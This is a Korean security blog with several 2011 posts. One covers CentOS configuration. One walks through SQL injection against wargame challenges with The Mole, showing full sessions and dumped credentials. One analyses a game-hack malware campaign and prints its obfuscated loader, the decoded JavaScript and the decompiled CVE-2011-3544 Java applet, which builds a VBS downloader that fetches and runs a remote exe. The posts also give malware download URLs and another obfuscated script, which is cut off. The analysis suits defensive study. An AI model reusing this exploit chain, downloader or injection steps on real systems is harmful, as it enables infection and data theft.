설치를 하였으면 이제 다시 repo 리스트를 확인하면 EPEL이 추가되었음을 알 수 있다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


[root@localhost byjjoon]# yum repolist
Loaded plugins: fastestmirror
Loading mirror speeds from cached hostfile
epel/metalink | 5.7 kB 00:00 
 * base: centos.tt.co.kr
 * epel: mirror01.idc.hinet.net
 * extras: centos.tt.co.kr
 * updates: centos.tt.co.kr
epel | 4.3 kB 00:00 
epel/primary_db | 3.6 MB 00:04 
repo id repo name status
base CentOS-6 - Base 4,686
epel Extra Packages for Enterprise Linux 6 - i386 5,508
extras CentOS-6 - Extras 3
updates CentOS-6 - Updates 934
repolist: 11,131

CentOS 설치 후 'setup' 명령어를 이용해 설정하기

Thu, 15 Dec 2011 06:22:47 +0000

CentOS 설치 후 'setup' 명령어를 통해 설정을 하고자 하는 경우 아래 패키지를 설치하면 된다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


[root@localhost byjjoon]# yum provides /usr/bin/setup
Loaded plugins: fastestmirror
Loading mirror speeds from cached hostfile
 * base: data.nicehosting.co.kr
 * extras: data.nicehosting.co.kr
 * updates: data.nicehosting.co.kr
setuptool-1.19.9-3.el6.i686 : A text mode system configuration tool
Repo : base
Matched from:
Filename : /usr/bin/setup

setuptool-1.19.9-3.el6.i686 : A text mode system configuration tool
Repo : installed
Matched from:
Other : Provides-match: /usr/bin/setup

[root@localhost byjjoon]#

먼저 setuptools 패키지를 설치한다. 그리고 아래 패키지들을 설치하면 된다.

system-config-securitylevel-tui: for configuring the firewall authconfig: for configuring authentication system-config-network-tui: for configuring the network ntsysv: for configuring the system services

The Mole

Mon, 12 Dec 2011 09:18:47 +0000

SQL Injection 관련 툴이 있어 간단한 사용기를 작성합니다.

The Mole (Digging up your data) : http://themole.nasel.com.ar/

문제는 WeChall의 Table 이름을 찾는 문제를 대상으로 해당 툴을 이용해 풀이를 해보도록 하겠습니다. 실행 후 Tab 키를 누르면 여러 옵션을 설정할 수 있음을 알 수 있습니다. 옵션이 다양해서 아주 범용적으로 사용할 수 있을거 같네요.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84


C:\Users\ByJJoon\Downloads\themole-0.2.6>mole.exe
 _____ _ ___ ___ _
 |_ _| | | \/ | | |
 | | | |__ ___ | . . | ___ | | ___
 | | | '_ \ / _ \ | |\/| |/ _ \| |/ _ \
 | | | | | | __/ | | | | (_) | | __/
 \_/ |_| |_|\___| \_| |_/\___/|_|\___|

 Developed by Nasel(http://www.nasel.com.ar).
 Published under GPLv3.
 Be efficient and have fun!

#> url http://www.wechall.net/challenge/table_names/challenge.php?username=test&password=test&login=login
#> needle Welcome
#> injectable_field GET username
#> schemas
[i] Trying injection using 0 parenthesis.
[i] Trying separator: "'"
[+] Found separator: "'"
[i] Trying DBMS Mysql
[+] Found DBMS: Mysql
[i] Trying injection using 0 parenthesis.
[i] Trying injection using comment: #
[+] Found comment delimiter: "#"
[+] Query columns count: 3
[+] Trying finger 1/2
[+] Injectable fields found: [1, 3]
[i] Trying to inject in field 1
[+] Found injectable field: 1
[+] Using string union technique.
[+] Rows: 2
[*] Dumped 2/2 rows.
+--------------------+
| Databases |
+--------------------+
| gizmore_tableu61 |
| information_schema |
+--------------------+
#> tables gizmore_tableu61
[+] Rows: 2
[*] Dumped 2/2 rows.
+--------------+
| Tables |
+--------------+
| aaawrong |
| usertableus4 |
+--------------+
#> columns gizmore_tableu61 aaawrong
[+] Rows: 2
[*] Dumped 2/2 rows.
+----------------------------+
| Columns for table aaawrong |
+----------------------------+
| test |
| username |
+----------------------------+
#> query gizmore_tableu61 aaawrong test,username
+-----------------+
| test | username |
+-----------------+
+-----------------+
#> columns gizmore_tableu61 usertableus4
[+] Rows: 3
[*] Dumped 3/3 rows.
+--------------------------------+
| Columns for table usertableus4 |
+--------------------------------+
| message |
| password |
| username |
+--------------------------------+
#> query gizmore_tableu61 usertableus4 message,password,username
[+] Rows: 5
[*] Dumped 5/5 rows.
+------------------------------------------------------------------------------------------+
| message | password | username |
+------------------------------------------------------------------------------------------+
| Hello Peter><thismypass><Aaron A. Aaronson |
| Let`s have a bbq!><tamethepenguin><quangntenemy |
| This is a demo account, nothing here.><test><test |
| WTF><tables><nancy |
| Welcome Back><themoreyouknowthemoreyoucanforget><Admin |
+------------------------------------------------------------------------------------------+
#>

내친김에 wargame.kr 의 문제도 풀어보겠습니다. 여기 문제는 POST로 인자를 전송해야 합니다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80


C:\Users\ByJJoon\Downloads\themole-0.2.6>mole.exe
 _____ _ ___ ___ _
 |_ _| | | \/ | | |
 | | | |__ ___ | . . | ___ | | ___
 | | | '_ \ / _ \ | |\/| |/ _ \| |/ _ \
 | | | | | | __/ | | | | (_) | | __/
 \_/ |_| |_|\___| \_| |_/\___/|_|\___|

 Developed by Nasel(http://www.nasel.com.ar).
 Published under GPLv3.
 Be efficient and have fun!

#> url http://wargame.kr:8084/prob/9/chk.php
#> method POST idx=1532
#> needle 2011-12-12 18:24:17
#> injectable_field POST idx
#> schemas
[i] Trying injection using 0 parenthesis.
[i] Trying separator: "'"
[i] Trying separator: """
[i] Trying separator: " "
[+] Found separator: " "
[i] Trying DBMS Mysql
[+] Found DBMS: Mysql
[i] Trying injection using 0 parenthesis.
[i] Trying injection using comment: #
[+] Found comment delimiter: "#"
[+] Query columns count: 1
[+] Trying finger 1/2
[+] Trying finger 2/2
[-] Could not find injectable field.
[+] Using blind mode.
[+] Found row count: 2
[+] Guessed length: 18
information_schema
[+] Guessed length: 11
p9_blueh4g3
+--------------------+
| Databases |
+--------------------+
| information_schema |
| p9_blueh4g3 |
+--------------------+
#> tables p9_blueh4g3
[+] Found row count: 2
[+] Guessed length: 11
admin_table
[+] Guessed length: 8
ip_table
+-------------+
| Tables |
+-------------+
| admin_table |
| ip_table |
+-------------+
#> columns p9_blueh4g3 admin_table
[+] Found row count: 3
[+] Guessed length: 3
idx
[+] Guessed length: 2
id
[+] Guessed length: 2
ps
+-------------------------------+
| Columns for table admin_table |
+-------------------------------+
| id |
| idx |
| ps |
+-------------------------------+
#> query p9_blueh4g3 admin_table id,idx,ps
[+] Found row count: 1
[+] Guessed length: 25
blue_admin><1><0h~myp4ss!
+-------------------------------+
| id | idx | ps |
+-------------------------------+
| blue_admin | 1 | 0h~myp4ss! |
+-------------------------------+
#>

아주 ㄷㄷㄷ한 툴이네요.

새롭게 추가된 온라인게임핵 악성코드 전파용 취약점 (CVE-2011-3544)

Fri, 09 Dec 2011 08:17:55 +0000

최근 국내에서 전파되는 온라인게임핵 악성코드와 관련하여 추가된 취약점이 있어 공유합니다.

1
2


http://www.yo****ow.com/63/pps.html
L http://www.yo****ow.com/63/jpg.js

이번주부터 추가되어 전파되는 것으로 보이며, CVE-2011-3544 (Oracle Java Applet Rhino Script Engine Remote Code Execution) 취약점으로 Oracle Java SE JDK and JRE 7 and 6 Update 27 이전 버전이면 감염이 됩니다.

http://www.yo****ow.com/63/pps.html 코드를 살펴보면 이전과는 다른점을 확인할 수 있습니다.

1
2
3
4


<script src=jpg.js></script>
<script>
eHQu5=unescape;IAoO3="033F1B1E20323C544D12ECDCE69B80BAAFA8467F047B2C3BC8DB9BEED4120F6EB092F1D82C135AFFD3AE2D5E09FAA7924E25B2A797614C1CCF8A514FFDAE4400D681681DD3917231DCDA363FC59C624C952F6AB17203A05417B16D2B924210BB6D58B86106B9791BAB4EF89168528E42F072E8996DA33C72F262EE63AE75FE79FC41C7558F68F651C667EA6FD362C229FF55B761926FB205EF29BF2F9111B148BF7AD34EB064FE7DD770DE489344AD03BB5F8D63DD70B30BAC6DB34DBF6FAE05C17CCD6B804DF676F633F832C11DF809BD70C14A67B0419C70963BDE0122C323C53BF81D872D07837D7ED7467B66934478343027985F4E5E474F45591E6175687568406A64714C4A6268052A41726741775E36022F3D1160497A674472264C5375646A5B431D39507B7C7570763A7D6B4704160E06714E436C77412D7749637E0D366C7E44764C73454F63497D686A5964264C497D677E25393D274C45444F4C542C706470684D122A25031401164A624E6676493C42744273586F3A0425211E1B02494E75796E48485435757B76683F7364677E4E426E6B657A45056F794B6775422E203D1E5D7058324A786C446C496D314B4E777D42407260236470554C5F4F6F47485D6769793C3B554E7A754C0825272007476D7949734E60057A5176621B36674462690F1A1B06644248447A73653C67707E617226024E59777C2C0E027F61522D6D497263597A44660471427A2D50644E326957443633222F7B7B63636354034A5A5A4E4354416F6478780D48677A454E686D04362D086A161F20754E78556F62065B6D577D3A16457360665943004B5B7779644563202C7F454A4877693653555F476D4F7B163C7F55784E654F327A656D6C4B1C27684A4D717C4A056E7D4C50310B494E464F5F48104D607540546D1F337044436968482D746167457061781A2F547E6B4360660578626256203767484A456F72347D494641252C7F454A487769364B7C507F113870436B7E44710B66427F417450473F1678694344606D0F75747165605605164F4F464E5955224E4C7B5316146C714D4A78790D65494F6F1A294E744771447E2772446A73703F1645736066594300727D65587A6B242F737E4C4359662C73697C7D231E67714A626F553451426C704363301B694870695B44345C6955747D6E4A360B494E464F5F481073494B674414146C714D4A78790D7C534456492611754E78556F6206667B5159461D1A72696F4852453B5F7854404063232C7F454A4877693666545A45576977153C585F78477449666A7670426C4A7924061A";Onrk2="function PLckuTq4(){GyRSrjc3=Math.tan;rxWQHLo0=Math.PI;WroLF1=parseInt;riAW3='length';rxtON0='test';TFphicM4='replace';OgxTHH0=WroLF1(~((rxWQHLo0&rxWQHLo0)|(~rxWQHLo0&rxWQHLo0)&(rxWQHLo0&~rxWQHLo0)|(~rxWQHLo0&~rxWQHLo0)));TcphbKi1=WroLF1(((OgxTHH0&OgxTHH0)|(~OgxTHH0&OgxTHH0)&(OgxTHH0&~OgxTHH0)|(~OgxTHH0&~OgxTHH0))&1);/*Encrypt By Dadong's JSXX 0.40 VIP*/njOw6=TcphbKi1<<TcphbKi1;new function(){hiMx7=TPiVf7('a1Qe4dG*]6zY^k8b]#&,m8$[x_GD3]Nvj5dsn7[F[8ecu[S34Rlc]4r;iadpDt='[TFphicM4](/[^xS@0ietrc9p]/g,''));};try{if(!\/^\\d*$\/g[rxtON0](oXWS1));}catch(e){oXWS1=OgxTHH0;}jQXi4='';whmlcRg2=eval(eHQu5('%5'+'3%74%'+'72%69%6'+'E%67%2E%'+'66%72%'+'6F%6D%4'+'3%68%61'+'%72%4'+'3%6F%64'+'%65'));for(PhehgT5=OgxTHH0;PhehgT5<Onrk2[riAW3];PhehgT5-=-TcphbKi1)oXWS1+=Onrk2.charCodeAt(PhehgT5);oXWS1%=eHQu5(OgxTHH0+eHQu5('x')+(1<<6)-TcphbKi1);HlFQQq7+=TcphbKi1;for(PhehgT5=OgxTHH0,zSFbnt2=TcphbKi1;PhehgT5<IAoO3[riAW3];PhehgT5+=njOw6,zSFbnt2++,oXWS1=oXWS1+zSFbnt2){if(\/^(\\d{4})\/g[rxtON0](oXWS1+744))oXWS1%=50;jQXi4+=whmlcRg2(WroLF1(OgxTHH0+eHQu5('x')+IAoO3.charAt(PhehgT5)+IAoO3.charAt(PhehgT5+WroLF1(TcphbKi1)))^oXWS1);}try{new function(){hiMx7(jQXi4);}}catch(e){try{new function(){qNFsX1=parseInt;GyRSrjc3(jQXi4);}}catch(e) {window.location='.';}}}try{TPiVf7('PLckuTq4();')}catch(e) {try{HlFQQq7=OgxTHH0;TPiVf7('PLckuTq4();');}catch(e){alert('ere');}}";ijqJkz6 = TPiVf7(TPiVf7);ijqJkz6(Onrk2);
</script>

기존에 악성코드 유포자는 난독화를 한 후 아래와 같은 주석을 남겼습니다.

1

Encrypt By Dadong's JSXX 버전명 VIP

가장 최근에 확인된 버전은 0.39 였으나 이번에 0.40으로 업데이트 된것을 확인하였습니다. 업데이트가 되긴 했으나 쉽게 디코딩이 가능하며 해당 코드를 디코딩 하면 아래와 같은 코드를 확인할 수 있습니다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43


GyRSrjc3 = hiMx7;
qsFAd4 = qNFsX1(20100418);
var gondady = document.createElement('body');
document.body.appendChild(gondady);
var gondadx = deployJava.getJREs() + "";
gondadx = parseInt(gondadx.replace(/\.|\_/g, ''));
if (gondadx <= 16027) {
 var gondad = document.createElement('applet');
 gondad.archive = "Gondad.jpg";
 gondad.code = "GondadGondadExp.class";
 gondad.width = "1";
 gondad.height = "1";
 document.body.appendChild(gondad);
 var gondadq = document.createElement('param');
 gondadq.name = "data";
 gondadq.value = "http://www.yo****ow.com/pic.exe";
 gondad.appendChild(gondadq);
};
delete Onrk2;
delete PLckuTq4;
delete rxWQHLo0;
delete WroLF1;
delete riAW3;
delete OgxTHH0;
delete TcphbKi1;
delete njOw6;
delete oXWS1;
delete jQXi4;
delete whmlcRg2;
delete PhehgT5;
delete IAoO3;
delete hiMx7;
delete TPiVf7;
delete ijqJkz6;
delete eHQu5;
delete zSFbnt2;
delete TFphicM4;
delete qNFsX1;
delete qsFAd4;
delete rxtON0;
delete HlFQQq7;
delete GyRSrjc3;
CollectGarbage();

여기서 Gondad.jpg 파일을 다운로드 받아 보면 jar 파일임을 알 수 있으며 JD-GUI 툴을 이용해 디컴파일 하여 코드 내부를 확인하면 아래와 같습니다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36


import java.applet.Applet;
import java.net.InetAddress;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineManager;
import javax.script.ScriptException;
import javax.swing.JList;

public class GondadGondadExp extends Applet
{
 private JList list;

 public void init()
 {
 try
 {
 ScriptEngine se = new ScriptEngineManager().getEngineByName("js");
 InetAddress address = null;
 InetAddress sun = null;

 String url = getParameter("data");

 se.eval("var error = new Error(\"My error\");this.toString = function(){ java.lang.System.setSecurityManager(null);java.lang.Runtime.getRuntime().exec('cmd.exe /c echo URL = LCase(WScript.Arguments(0))>\"%temp%\\\\down.vbs\"&&cmd.exe /c echo dim m,s>>\"%temp%\\\\down.vbs\"&&cmd.exe /c echo m=\"M^i^c^r^o^s^o^f^t^.^X^M^L^H^T^T^P\">>\"%temp%\\\\down.vbs\"&&cmd.exe /c echo s=\"A=D=O=DB=.=S=t=r=e=a=m\">>\"%temp%\\\\down.vbs\"&&cmd.exe /c echo set cmd =Createobject(replace(m,\"^\",\"\")) >>\"%temp%\\\\down.vbs\"&&cmd.exe /c echo cmd.Open \"GET\",URL,0 >>\"%temp%\\\\down.vbs\"&&cmd.exe /c echo cmd.Send()>>\"%temp%\\\\down.vbs\"&&cmd.exe /c echo FileName=LCase(WScript.Arguments(1))>>\"%temp%\\\\down.vbs\"&&cmd.exe /c echo Set CsCriptGet = Createobject(replace(s,\"=\",\"\"))>>\"%temp%\\\\down.vbs\"&&cmd.exe /c echo CsCriptGet.Mode=^3>>\"%temp%\\\\down.vbs\"&&cmd.exe /c echo CsCriptGet.Type=^1>>\"%temp%\\\\down.vbs\"&&cmd.exe /c echo CsCriptGet.Open()>>\"%temp%\\\\down.vbs\"&&cmd.exe /c echo CsCriptGet.Write(cmd.responseBody)>>\"%temp%\\\\down.vbs\"&&cmd.exe /c echo CsCriptGet.SaveToFile FileName,^2>>\"%temp%\\\\down.vbs\"&&cmd.exe /c cscript \"%temp%\\\\down.vbs\" " +
 url + " \"%temp%\\\\xxoo.exe\"&& \"%temp%\\\\xxoo.exe\"');" +
 "return \"exploit!\";};" +
 "error.message = this;");

 this.list = new JList(new Object[] { se.get("error") });

 add(this.list);
 }
 catch (ScriptException ex)
 {
 ex.printStackTrace();
 }
 }
}

취약점과 관련된 자세한 내용은 아래 페이지를 참고하시면 될거 같습니다. http://schierlm.users.sourceforge.net/CVE-2011-3544.html

새로운 취약점이 추가된 만큼 이번주에 왠지 많은 감염자가 나올것으로 보이네요. 뭐 평소에도 늘 그랬지만......

새로운 URL 암호화 방법

Fri, 28 Oct 2011 12:34:08 +0000

최근 악성코드 중 아래와 같은 페이지에 접속하여 특정 명령을 받아 실행하는 악성코드를 확인하였습니다.

hxxp://211.255.23.46/counter/update.txt

위 주소에 접속하면 아래와 같이 숫자만 나타나게 됩니다.

1

049058104116116112058047047049050049046050053052046049054053046049048053047105099111110115047107114046101120101

관련 악성코드를 분석해본 결과 예전에는 단순히 주소 혹은 XOR로 암호화 하였으나 이번엔 좀 새로운 패턴으로 한것을 확인하였습니다.

복호화는 아래 페이지에서 가능하도록 기능을 추가 하였습니다. http://119.194.217.188:8080/Honeypot/

'new' 텍스트 박에서 해당 값을 입력하면 아래와 같은 디코딩된 결과가 나타납니다.

1

1:http://121.254.165.105/icons/kr.exe

끝으로 도움을 준 forc1 형에게 감사를 :-)

Hack The Packet

Tue, 18 Oct 2011 23:57:40 +0000

트위터에서 POC 이벤트 행사로 진행되는 Hack The Packet 예선전이 진행된다는 소식을 접했습니다. 회사에서 일찍 퇴근을 할까 하다가 이거나 좀 해보고 퇴근해야 겠다는 생각에 시작을 했습니다.

http://www.hackthepacket.com

문제 유형은 pcap 파일을 하나 주어주고 여러 문항의 문제를 풀이하는 형태였는데 생각보다 문제가 잘풀려서 1위를 하게 되었네요.

1위 상품은 POC 티켓!!! 이번 대회로 인해 POC를 가게될거 같습니다 :-) 이번 예선때 못푼 문항도 몇개 되는데 시간날때 짬짬히 풀어봐야 겠습니다.

본선은 오프라인에서 진행 되었고 우승을 했네요. 결과는 아래와 같습니다.

Beyond SQLi: Obfuscate and Bypass

Fri, 07 Oct 2011 06:12:25 +0000

https://dl.packetstormsecurity.net/papers/attack/beyond-sqli.txt

2011 ISEC CTF 준우승

Wed, 21 Sep 2011 23:06:33 +0000

9월 20일 ~ 21일 양일에 거쳐 ISEC CTF 본선대회가 있었습니다. 저는 -cesi- 팀으로 참가를 했었는대요.

작년 본선에서 그리 좋지 못한 성적을 거둬서 이번에는 준비를 좀 하고 나갔었는데 아쉽게 준우승에 그쳤습니다. 대회 중간에 1등을 잠깐 하기도 했었는데 GoN팀이 다시 재역전을 하는 바람에 우승을 놓치게 되었네요.

다음번에는 꼭! 우승을 노려봐야 겠습니다.

난독화 코드 그리고 제작자의 실수?

Wed, 21 Sep 2011 14:20:12 +0000

최근 난독화 코드 중 새롭게 작성된 코드를 확인하여 공유 합니다. 우선 코드는 아래와 같습니다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32


<script>
var a1 = "ABCDEFG";
var a2 = "HIJKLMNOP";
var a3 = "QRSTUVWXYZabcdef";
var keyStrs = a1+a2+a3+"ghijklmnopqrstuv"+"wxyz0123456789+/"+"=";
function mydata(input){
 var output="";
 var chr1,chr2,chr3="";
 var enc1,enc2,enc3,enc4="";
 var i=0;
 var base64test=/[^A-Za-z0-9\+\/\=]/g;
 input=input.replace(/[^A-Za-z0-9\+\/\=]/g,"");
 do{
 enc1=keyStrs.indexOf(input.charAt(i++));
 enc2=keyStrs.indexOf(input.charAt(i++));
 enc3=keyStrs.indexOf(input.charAt(i++));
 enc4=keyStrs.indexOf(input.charAt(i++));
 chr1=(enc1<<2)|(enc2>>4);
 chr2=((enc2&15)<<4)|(enc3>>2);
 chr3=((enc3&3)<<6)|enc4;
 output=output+String.fromCharCode(chr1);
 if(enc3!=64){output=output+String.fromCharCode(chr2);};
 if(enc4!=64){output=output+String.fromCharCode(chr3);};
 chr1=chr2=chr3="";
 enc1=enc2=enc3=enc4="";
 };
 while(i<input.length);return output;
 };
UU="2000 / 25 ,3905 / 55 ,60 - 3 ,106 - 1 ,189 - 92 ,206 - 97 ,31 + 55 ,19 + 87 ,1700 / 17 ,2211 / 33 ,117 - 51 ,114 - 8 ,44 + 54 ,39 + 32 ,52 + 18 ,173 - 51 ,96 + 3 ,85 - 35 ,137 - 29 ,4494 / 42 ,138 - 58 ,154 - 71 ,16 + 58 ,2438 / 23 ,6076 / 62 ,1368 / 19 ,14 + 64 ,224 - 112 ,28 + 62 ,6 + 62 ,9072 / 81 ,158 - 51 ,3003 / 39 ,193 - 87 ,8500 / 85 ,209 - 103 ,48 + 42 ,4686 / 66 ,109 - 36 ,59 - 9 ,165 - 75 ,41 + 42 ,11 + 38 ,0 + 104 ,6 + 84 ,2688 / 32 ,71 + 19 ,4601 / 43 ,76 / 1 ,124 - 40 ,2001 / 29 ,70 + 50 ,2047 / 23 ,56 - 6 ,3738 / 42 ,215 - 99 ,137 - 58 ,5 + 79 ,13 + 77 ,10290 / 98 ,5135 / 65 ,96 - 29 ,56 - 8 ,1728 / 36 ,80 - 2 ,69 - 1 ,29 + 52 ,33 + 16 ,4602 / 59 ,31 + 53 ,133 - 56 ,23 + 26 ,13 + 65 ,4 + 64 ,1625 / 25 ,6545 / 55 ,91 - 14 ,1020 / 15 ,110 - 45 ,5355 / 51 ,876 / 12 ,55 + 10 ,2112 / 44 ,24 + 51 ,10 + 90 ,94 - 44 ,24 + 84 ,99 + 8 ,17 + 83 ,92 - 21 ,193 - 90 ,1254 / 22 ,119 - 46 ,66 + 40 ,114 - 41 ,476 / 4 ,2002 / 26 ,101 - 34 ,121 - 48 ,194 - 91 ,50 + 47 ,852 / 12 ,97 - 11 ,209 - 97 ,1980 / 22 ,58 - 8 ,198 - 94 ,40 + 8 ,69 + 11 ,12 + 71 ,2044 / 28 ,5640 / 47 ,385 / 5 ,4352 / 64 ,260 / 4 ,2940 / 28 ,33 + 40 ,14 + 57 ,37 + 71 ,41 + 66 ,5280 / 66 ,6889 / 83 ,1554 / 21 ,60 - 12 ,28 + 62 ,96 - 8 ,154 - 76 ,11 + 37 ,99 - 26 ,8295 / 79 ,33 + 33 ,204 - 100 ,141 - 43 ,3550 / 50 ,153 - 45 ,218 - 108 ,104 - 6 ,10812 / 102 ,41 + 7 ,184 - 79 ,2842 / 29 ,6612 / 76 ,142 - 34 ,75 + 32 ,61 + 29 ,77 - 6 ,840 / 7 ,200 - 92 ,15 + 58 ,45 + 61 ,97 - 45 ,44 + 34 ,2345 / 35 ,79 + 27 ,49 + 71 ,6545 / 55 ,6586 / 74 ,101 - 13 ,145 - 71 ,21 + 83 ,146 - 48 ,581 / 7 ,6 + 60 ,468 / 4 ,3649 / 41 ,10 + 77 ,57 - 8 ,132 - 24 ,4480 / 56 ,56 + 27 ,108 - 34 ,2204 / 19 ,108 - 10 ,73 - 22 ,157 - 67 ,148 - 36 ,98 - 8 ,18 + 65 ,1679 / 23 ,7004 / 68 ,4000 / 40 ,100 + 9 ,11 + 59 ,139 - 24 ,24 + 76 ,16 + 71 ,111 - 26 ,1653 / 29 ,53 + 20 ,5341 / 49 ,118 - 14 ,2704 / 26 ,114 - 15 ,86 - 14 ,11 + 54 ,3042 / 26 ,137 - 38 ,90 - 39 ,159 - 59 ,8938 / 82 ,40 + 40 ,53 + 66 ,1248 / 26 ,90 - 15 ,9118 / 94 ,15 + 72 ,75 - 22 ,143 - 34 ,88 + 10 ,121 + 1 ,816 / 17 ,134 - 15 ,3080 / 40 ,10700 / 100 ,157 - 72 ,1100 / 22 ,96 - 19 ,1830 / 15 ,210 / 3 ,107 - 40 ,152 - 74 ,76 + 9 ,37 + 36 ,11 + 109 ,7 + 70 ,7442 / 61 ,97 - 12 ,5 + 117 ,39 + 38 ,11102 / 91 ,121 - 44 ,83 - 33 ,1053 / 13 ,4335 / 51 ,80 - 7 ,59 - 10 ,124 - 47 ,118 - 33 ,139 - 58 ,205 - 83 ,62 + 16 ,156 - 72 ,131 - 58 ,2550 / 50 ,137 - 56 ,6890 / 65 ,189 - 89 ,71 - 5 ,82 - 4 ,82 + 25 ,166 - 76 ,55 + 11 ,22 + 60 ,39 + 45 ,17 + 82 ,56 - 3 ,109 - 30 ,1632 / 24 ,152 - 63 ,150 - 45 ,70 + 3 ,110 - 43 ,952 / 17 ,1763 / 41 ,93 - 25 ,118 - 37 ,179 - 68 ,20 + 36 ,85 + 14 ,126 - 55 ,1820 / 26 ,14399 / 119 ,5696 / 64 ,165 - 78 ,17 + 31 ,186 - 83 ,64 + 34 ,46 + 63 ,59 + 11 ,3 + 113 ,26 + 64 ,25 + 59 ,50 - 2 ,35 + 70 ,150 - 51 ,76 + 12 ,1892 / 22 ,169 - 65 ,4214 / 43 ,43 + 28 ,197 - 89 ,84 - 36 ,166 - 65 ,150 - 67 ,4453 / 61 ,3090 / 30 ,80 + 20 ,10246 / 94 ,93 - 23 ,69 + 46 ,9500 / 95 ,25 + 62 ,140 - 55 ,67 - 10 ,134 - 61 ,94 + 15 ,24 + 80 ,10304 / 92 ,74 + 16 ,40 + 10 ,145 - 42 ,47 + 58 ,40 + 33 ,11 + 56 ,2912 / 52 ,69 - 26 ,3536 / 52 ,88 - 7 ,41 + 70 ,82 - 26 ,18 + 81 ,63 + 8 ,37 + 33 ,14399 / 119 ,41 + 48 ,143 - 56 ,1488 / 31 ,159 - 56 ,157 - 59 ,16 + 93 ,28 + 42 ,70 + 46 ,21 + 69 ,22 + 62 ,13 + 35 ,193 - 88 ,19 + 70 ,1526 / 14 ,185 - 85 ,199 - 93 ,72 + 26 ,33 + 17 ,9960 / 83 ,13452 / 114 ,121 - 22 ,8925 / 85 ,1460 / 20 ,118 - 15 ,168 - 68 ,4796 / 44 ,65 + 5 ,224 - 109 ,1600 / 16 ,94 - 7 ,99 - 14 ,1311 / 23 ,40 + 33 ,3360 / 32 ,123 - 45 ,156 - 47 ,630 / 7 ,173 - 64 ,129 - 39 ,4142 / 38 ,145 - 55 ,5995 / 55 ,2 + 87 ,52 + 53 ,110 - 37 ,57 + 10 ,1624 / 29 ,39 + 4 ,1088 / 16 ,72 + 9 ,7992 / 72 ,23 + 33 ,7425 / 75 ,75 - 4 ,133 - 63 ,88 + 33 ,76 + 13 ,1218 / 14 ,58 - 10 ,77 + 26 ,2254 / 23 ,67 + 42 ,4480 / 64 ,33 + 83 ,167 - 77 ,6636 / 79 ,31 + 17 ,82 + 23 ,166 - 67 ,90 - 19 ,42 + 78 ,97 + 7 ,3030 / 30 ,158 - 75 ,8 + 65 ,125 - 22 ,153 - 53 ,15 + 94 ,66 + 4 ,50 + 65 ,3900 / 39 ,51 + 36 ,85 / 1 ,11 + 46 ,4745 / 65 ,137 - 27 ,33 + 49 ,160 - 39 ,5400 / 54 ,120 - 33 ,55 + 30 ,49 + 56 ,949 / 13 ,47 + 20 ,110 - 54 ,258 / 6 ,44 + 24 ,76 + 5 ,92 + 19 ,112 / 2 ,190 - 91 ,112 - 41 ,29 + 41 ,5566 / 46 ,99 - 10 ,4002 / 46 ,32 + 16 ,137 - 34 ,55 + 43 ,31 + 78 ,36 + 34 ,9744 / 84 ,3150 / 35 ,1344 / 16 ,17 + 31 ,167 - 62 ,50 + 48 ,74 - 3 ,61 - 4 ,98 + 20 ,115 - 16 ,2814 / 42 ,18 + 55 ,10506 / 102 ,157 - 57 ,6867 / 63 ,108 - 38 ,217 - 102 ,700 / 7 ,128 - 41 ,2125 / 25 ,71 - 14 ,1241 / 17 ,201 - 91 ,138 - 56 ,6413 / 53 ,6900 / 69 ,116 - 29 ,0 + 85 ,169 - 64 ,72 + 1 ,108 - 41 ,29 + 27 ,22 + 21 ,30 + 38 ,1620 / 20 ,12210 / 110 ,22 + 34 ,173 - 74 ,36 + 35 ,40 + 30 ,3751 / 31 ,176 - 87 ,40 + 47 ,2064 / 43 ,157 - 54 ,3136 / 32 ,158 - 49 ,3010 / 43 ,4640 / 40 ,167 - 77 ,83 + 1 ,144 / 3 ,99 + 6 ,400 / 4 ,39 + 11 ,26 + 23 ,52 + 66 ,87 + 3 ,101 - 30 ,1700 / 20 ,9030 / 86 ,69 + 4 ,97 - 25 ,73 + 17 ,8944 / 86 ,124 - 26 ,4536 / 63 ,124 - 38 ,1296 / 12 ,42 + 38 ,161 - 78 ,4218 / 57 ,31 + 20 ,5432 / 56 ,5481 / 63 ,2014 / 38 ,69 + 38 ,7644 / 78 ,1122 / 22 ,3663 / 37 ,106 - 1 ,67 + 6 ,4288 / 64 ,10 + 46 ,86 - 43 ,93 - 25 ,1377 / 17 ,156 - 45 ,4 + 52 ,3762 / 38 ,16 + 55 ,82 - 12 ,225 - 104 ,6497 / 73 ,169 - 82 ,74 - 26 ,8755 / 85 ,17 + 81 ,1308 / 12 ,12 + 58 ,220 - 104 ,180 - 90 ,111 - 27 ,14 + 34 ,145 - 40 ,185 - 86 ,58 - 8 ,99 - 21 ,207 - 103 ,127 - 29 ,1349 / 19 ,6290 / 74 ,148 - 43 ,4599 / 63 ,49 + 23 ,4860 / 54 ,195 - 91 ,68 + 30 ,144 - 72 ,3096 / 36 ,101 + 7 ,121 - 41 ,108 - 25 ,1258 / 17 ,227 - 105 ,76 + 21 ,95 - 24 ,69 - 12 ,1989 / 39 ,111 - 22 ,152 - 65 ,3960 / 33 ,65 + 50 ,14 + 59 ,45 + 60 ,116 - 51 ,61 + 57 ,148 - 68 ,721 / 7 ,52 - 4 ,3375 / 45 ,83 - 3 ,1872 / 26 ,110 - 44 ,135 - 31 ,1881 / 19 